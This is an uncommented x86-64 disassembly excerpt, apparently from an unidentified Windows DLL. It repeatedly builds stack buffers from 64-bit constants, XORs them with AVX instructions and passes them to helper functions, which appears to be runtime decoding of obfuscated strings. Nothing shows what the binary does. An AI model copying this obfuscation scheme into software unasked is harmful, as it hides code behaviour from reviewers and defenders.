mov rax, qword [rbp]
mov qword [rbp + 0xb090], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb098], rax
movdqa xmm0, xmmword [rbp + 0x360]
pxor xmm0, xmmword [rbp + 0xb090]
movdqa xmmword [rbp + 0x360], xmm0
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x4d30]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x212], al
mov byte [rbp + 0x213], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1aa0], rax
movabs rax, 0x70ebc1fe642b4587
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1aa8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1ab0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1ab8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcb40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcb48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcb50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcb58], rax
vmovdqu ymm0, ymmword [rbp + 0xcb40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1aa0]
vmovdqa ymmword [rbp + 0x1aa0], ymm1
lea rdx, [rbp + 0x1aa0]
lea rcx, [rbp + 0x4d10]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4d30]
lea rcx, [rbp + 0x83b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4d10]
lea rcx, [rbp + 0x8390]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9a40]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x214], al
mov byte [rbp + 0x215], al
movabs rbx, 0xfc3a2ac0c8ed1bb9
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1ac0], rax
movabs rax, 0x3ae3f5f8793346aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ac8], rax
movabs rax, 0xfb38a9272c41cd25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ad0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1ad8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcb60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcb68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcb70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcb78], rax
vmovdqu ymm0, ymmword [rbp + 0xcb60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ac0]
vmovdqa ymmword [rbp + 0x1ac0], ymm1
lea rdx, [rbp + 0x1ac0]
lea rcx, [rbp + 0x4cf0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x216], al
mov byte [rbp + 0x217], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1ae0], rax
movabs rax, 0x37a6cbd023377cb4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ae8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1af0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1af8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcb80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcb88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcb90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcb98], rax
vmovdqu ymm0, ymmword [rbp + 0xcb80]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ae0]
vmovdqa ymmword [rbp + 0x1ae0], ymm1
lea rdx, [rbp + 0x1ae0]
lea rcx, [rbp + 0x4cd0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4cf0]
lea rcx, [rbp + 0x8370]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4cd0]
lea rcx, [rbp + 0x8350]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9a80]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x218], al
mov byte [rbp + 0x219], al
movabs rbx, 0xfc2a2afac1ed22bf
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b00], rax
movabs rax, 0x3b98cbd06b3319bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b08], rax
movabs rax, 0xfb38a9272c41dd25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1b18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcba0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcba8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcbb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcbb8], rax
vmovdqu ymm0, ymmword [rbp + 0xcba0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b00]
vmovdqa ymmword [rbp + 0x1b00], ymm1
lea rdx, [rbp + 0x1b00]
lea rcx, [rbp + 0x4cb0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x21a], al
mov byte [rbp + 0x21b], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b20], rax
movabs rax, 0x37a6cbd06b3319bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1b30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1b38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcbc0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcbc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcbd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcbd8], rax
vmovdqu ymm0, ymmword [rbp + 0xcbc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b20]
vmovdqa ymmword [rbp + 0x1b20], ymm1
lea rdx, [rbp + 0x1b20]
lea rcx, [rbp + 0x4c90]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4cb0]
lea rcx, [rbp + 0x8330]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4c90]
lea rcx, [rbp + 0x8310]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9ac0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x21c], al
mov byte [rbp + 0x21d], al
movabs rbx, 0xfa044ff8c2cf47be
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b40], rax
movabs rax, 0x70ebf7fe642b46aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1b58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcbe0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcbe8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcbf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcbf8], rax
vmovdqu ymm0, ymmword [rbp + 0xcbe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b40]
vmovdqa ymmword [rbp + 0x1b40], ymm1
lea rdx, [rbp + 0x1b40]
lea rcx, [rbp + 0x4c70]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x21e], al
mov byte [rbp + 0x21f], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b60], rax
movabs rax, 0x70e294fe681546aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1b78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcc00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcc08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcc10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcc18], rax
vmovdqu ymm0, ymmword [rbp + 0xcc00]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b60]
vmovdqa ymmword [rbp + 0x1b60], ymm1
lea rdx, [rbp + 0x1b60]
lea rcx, [rbp + 0x4c50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4c70]
lea rcx, [rbp + 0x82f0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4c50]
lea rcx, [rbp + 0x82d0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9b00]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x220], al
mov byte [rbp + 0x221], al
movabs rbx, 0xff364fc3d1fd1887
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b80], rax
movabs rax, 0x39ef94c567161984
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1b98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcc20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcc28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcc30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcc38], rax
vmovdqu ymm0, ymmword [rbp + 0xcc20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b80]
vmovdqa ymmword [rbp + 0x1b80], ymm1
lea rdx, [rbp + 0x1b80]
lea rcx, [rbp + 0x4c30]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x222], al
mov byte [rbp + 0x223], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1ba0], rax
movabs rax, 0x3b98c8fd67161984
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ba8], rax
movabs rax, 0xfb38a9272c41eb25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1bb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1bb8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcc40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcc48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcc50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcc58], rax
vmovdqu ymm0, ymmword [rbp + 0xcc40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ba0]
vmovdqa ymmword [rbp + 0x1ba0], ymm1
lea rdx, [rbp + 0x1ba0]
lea rcx, [rbp + 0x4c10]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4c30]
lea rcx, [rbp + 0x82b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4c10]
lea rcx, [rbp + 0x8290]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9b40]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x224], al
mov byte [rbp + 0x225], al
movabs rbx, 0xfa3a5ffa8efd32be
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1bc0], rax
movabs rax, 0x70ebf7fe642b46aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1bc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1bd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1bd8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcc60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcc68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcc70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcc78], rax
vmovdqu ymm0, ymmword [rbp + 0xcc60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1bc0]
vmovdqa ymmword [rbp + 0x1bc0], ymm1
lea rdx, [rbp + 0x1bc0]
lea rcx, [rbp + 0x4bf0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x226], al
mov byte [rbp + 0x227], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1be0], rax
movabs rax, 0x70e294fe681546aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1be8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1bf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1bf8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcc80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcc88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcc90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcc98], rax
vmovdqu ymm0, ymmword [rbp + 0xcc80]
vpxor ymm1, ymm0, ymmword [rbp + 0x1be0]
vmovdqa ymmword [rbp + 0x1be0], ymm1
lea rdx, [rbp + 0x1be0]
lea rcx, [rbp + 0x4bd0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4bf0]
lea rcx, [rbp + 0x8270]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4bd0]
lea rcx, [rbp + 0x8250]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9b80]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x228], al
mov byte [rbp + 0x229], al
movabs rbx, 0xe73a5ffdc18e22bc
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c00], rax
movabs rax, 0x3b98cbd066234685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c08], rax
movabs rax, 0xfb38a9272c41dd25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1c18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcca0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcca8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xccb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xccb8], rax
vmovdqu ymm0, ymmword [rbp + 0xcca0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c00]
vmovdqa ymmword [rbp + 0x1c00], ymm1
lea rdx, [rbp + 0x1c00]
lea rcx, [rbp + 0x4bb0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x22a], al
mov byte [rbp + 0x22b], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c20], rax
movabs rax, 0x37a6cbd066234685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1c30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1c38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xccc0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xccc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xccd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xccd8], rax
vmovdqu ymm0, ymmword [rbp + 0xccc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c20]
vmovdqa ymmword [rbp + 0x1c20], ymm1
lea rdx, [rbp + 0x1c20]
lea rcx, [rbp + 0x4b90]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4bb0]
lea rcx, [rbp + 0x8230]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4b90]
lea rcx, [rbp + 0x8210]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9bc0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x22c], al
mov byte [rbp + 0x22d], al
movabs rbx, 0xe34d4fc3cffd18bf
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c40], rax
movabs rax, 0x70ebf7fe642b46aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1c50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1c58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcce0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcce8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xccf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xccf8], rax
vmovdqu ymm0, ymmword [rbp + 0xcce0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c40]
vmovdqa ymmword [rbp + 0x1c40], ymm1
lea rdx, [rbp + 0x1c40]
lea rcx, [rbp + 0x4b70]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x22e], al
mov byte [rbp + 0x22f], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c60], rax
movabs rsi, 0x70e294fe681546aa
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1c68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1c70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1c78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcd00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcd08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcd10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcd18], rax
vmovdqu ymm0, ymmword [rbp + 0xcd00]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c60]
vmovdqa ymmword [rbp + 0x1c60], ymm1
lea rdx, [rbp + 0x1c60]
lea rcx, [rbp + 0x4b50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4b70]
lea rcx, [rbp + 0x81f0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4b50]
lea rcx, [rbp + 0x81d0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9c00]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x230], al
mov byte [rbp + 0x231], al
movabs rbx, 0xf32e76c3d3f14684
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c80], rax
movabs rax, 0x3ae3f5c6202f73bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c88], rax
movabs rax, 0xfb38a9272c41cd25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1c98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcd20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcd28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcd30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcd38], rax
vmovdqu ymm0, ymmword [rbp + 0xcd20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c80]
vmovdqa ymmword [rbp + 0x1c80], ymm1
lea rdx, [rbp + 0x1c80]
lea rcx, [rbp + 0x4b30]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x232], al
mov byte [rbp + 0x233], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1ca0], rax
movabs rax, 0x3ce3f5c6202f73bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ca8], rax
movabs rax, 0xfb38a9276445be24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1cb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1cb8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcd40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcd48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcd50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcd58], rax
vmovdqu ymm0, ymmword [rbp + 0xcd40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ca0]
vmovdqa ymmword [rbp + 0x1ca0], ymm1
lea rdx, [rbp + 0x1ca0]
lea rcx, [rbp + 0x4b10]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4b30]
lea rcx, [rbp + 0x81b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4b10]
lea rcx, [rbp + 0x8190]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9c40]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x2e3], al
mov byte [rbp + 0x234], al
movabs rbx, 0xf3455ff8d7f522bc
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1cc0], rax
movabs rax, 0x70ebe7fe65506882
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1cc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1cd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1cd8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcd60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcd68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcd70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcd78], rax
vmovdqu ymm0, ymmword [rbp + 0xcd60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1cc0]
vmovdqa ymmword [rbp + 0x1cc0], ymm1
lea rdx, [rbp + 0x1cc0]
lea rcx, [rbp + 0x4af0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x235], al
mov byte [rbp + 0x236], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1ce0], rax
movabs rax, 0x38ef94ff63506882
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ce8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1cf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1cf8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcd80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcd88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcd90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcd98], rax
vmovdqu ymm0, ymmword [rbp + 0xcd80]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ce0]
vmovdqa ymmword [rbp + 0x1ce0], ymm1
lea rdx, [rbp + 0x1ce0]
lea rcx, [rbp + 0x4ad0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4af0]
lea rcx, [rbp + 0x8170]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4ad0]
lea rcx, [rbp + 0x8150]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9c80]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x237], al
mov byte [rbp + 0x238], al
movabs rbx, 0xe53e40c3d7f14684
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1d00], rax
movabs rax, 0x70ebe7fe65504285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1d10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcda0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcda8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcdb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcdb8], rax
vmovdqu ymm0, ymmword [rbp + 0xcda0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d00]
vmovdqa ymmword [rbp + 0x1d00], ymm1
lea rdx, [rbp + 0x1d00]
lea rcx, [rbp + 0x4ab0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x239], al
mov byte [rbp + 0x23a], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1d20], rax
movabs rax, 0x388795ff640d4685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d28], rax
movabs rax, 0xc605ce456732e226
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcdc0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcdc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcdd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcdd8], rax
vmovdqu ymm0, ymmword [rbp + 0xcdc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d20]
vmovdqa ymmword [rbp + 0x1d20], ymm1
lea rdx, [rbp + 0x1d20]
lea rcx, [rbp + 0x4a90]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4ab0]
lea rcx, [rbp + 0x8130]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4a90]
lea rcx, [rbp + 0x8110]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9cc0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x23b], al
mov byte [rbp + 0x23c], al
movabs rbx, 0xe02a50f88bd74787
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1d40], rax
movabs rax, 0x70ebf7fe642b46aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1d50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcde0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcde8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcdf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcdf8], rax
vmovdqu ymm0, ymmword [rbp + 0xcde0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d40]
vmovdqa ymmword [rbp + 0x1d40], ymm1
lea rdx, [rbp + 0x1d40]
lea rcx, [rbp + 0x4a70]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x23d], al
mov byte [rbp + 0x23e], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1d60], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1d68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1d70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xce00], rax
